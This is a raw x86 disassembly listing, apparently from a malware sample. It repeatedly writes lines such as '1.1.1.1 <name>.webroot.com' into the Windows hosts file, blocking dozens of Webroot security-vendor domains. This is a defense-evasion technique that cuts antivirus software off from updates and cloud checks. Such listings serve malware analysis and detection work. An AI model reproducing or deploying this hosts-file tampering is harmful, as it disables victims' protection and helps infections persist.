cmp ecx, 0x10
jb 0x404c39
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c2f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404c84
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404c94
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404c8a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404c8a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_ncmec.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x5c
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x5d
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x5c
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404d0b
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d01
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404d56
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404d66
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404d5c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404d5c
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_stage.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x5e
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x5f
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x5e
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404ddd
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404dd3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404e28
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404e38
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404e2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404e2e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_provisioningtest2.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x60
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x61
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x60
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404eaf
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404ea5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404efa
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404f0a
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f00
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404f00
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_websrv_stg.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x62
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x62
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x404f81
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404f77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fcc
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x404fdc
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404fd2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x404fd2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_websrv_stg.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x64
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x65
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x64
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x405053
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405049
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40509e
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x4050ae
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4050a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4050a4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_de.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x66
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x67
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x66
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x405125
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40511b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405170
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x405180
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405176
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405176
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_computer_security.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x68
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x69
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x68
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4051f7
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4051ed
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405242
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x405252
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405248
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405248
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_reseller.webroot.com
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x6a
call fcn.00407e40
lea edx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x6b
lea ecx, [ebp - 0x7a4]
call fcn.00402240
mov byte [ebp - 4], 0x6a
mov ecx, dword [ebp - 0x790]
cmp ecx, 0x10
jb 0x4052c9
mov edx, dword [ebp - 0x7a4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4052bf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405314
push ecx
push edx
call fcn.00409aef
add esp, 8
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x7a8]
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0xf
mov byte [ebp - 0x7a4], 0
cmp ecx, 0x10
jb 0x405324
mov edx, dword [ebp - 0x7bc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40531a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40531a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00409aef
add esp, 8
push 1
call esi
push str.1.1.1.1_connectuk.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x6c
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x6d
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_vpn.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x6e
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x6f
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound5.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x70
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound2.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x72
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x73
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound3.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x74
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x75
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningtest5.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x76
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x77
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_view.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x78
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x79
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningdev.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x7a
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x7b
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_mydata.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x7c
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x7d
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningtest4.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x7e
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x7f
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_sfdcstage.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x80
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x81
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioning.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x82
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x83
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_channeledge.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x84
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_www2.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x86
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x87
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningtest3.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x88
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_mx.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x8a
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_support_enterprise.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x8c
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_autodiscover.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x8e
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_ws.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x90
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_owauk.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x92
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound1.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x94
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_research.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x96
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_access_tst.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x98
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_vpnuk.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x9a
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_ws_stg.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x9c
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound4.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0x9e
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_provisioningdev2.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xa0
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_myproduct.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xa2
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_labs.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
mov byte [ebp - 4], 0xa4
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_tunnelfe.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xa6
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_mailbox.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xa8
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xa9
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_outbound.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xaa
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xab
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_access.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
mov byte [ebp - 4], 0xac
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0x7bc]
call fcn.00402240
lea ecx, [ebp - 0x7bc]
call fcn.00407df0
lea ecx, [ebp - 0x7a4]
mov byte [ebp - 4], 6
call fcn.00407df0
push 1
call esi
push str.1.1.1.1_sfdctest6.webroot.com
lea ecx, [ebp - 0x7a4]
call fcn.00407e40
push str.C:WindowsSystem32driversetchosts
lea ecx, [ebp - 0x7bc]
mov byte [ebp - 4], 0xae
call fcn.00407e40
lea edx, [ebp - 0x7a4]
mov byte [ebp - 4], 0xaf
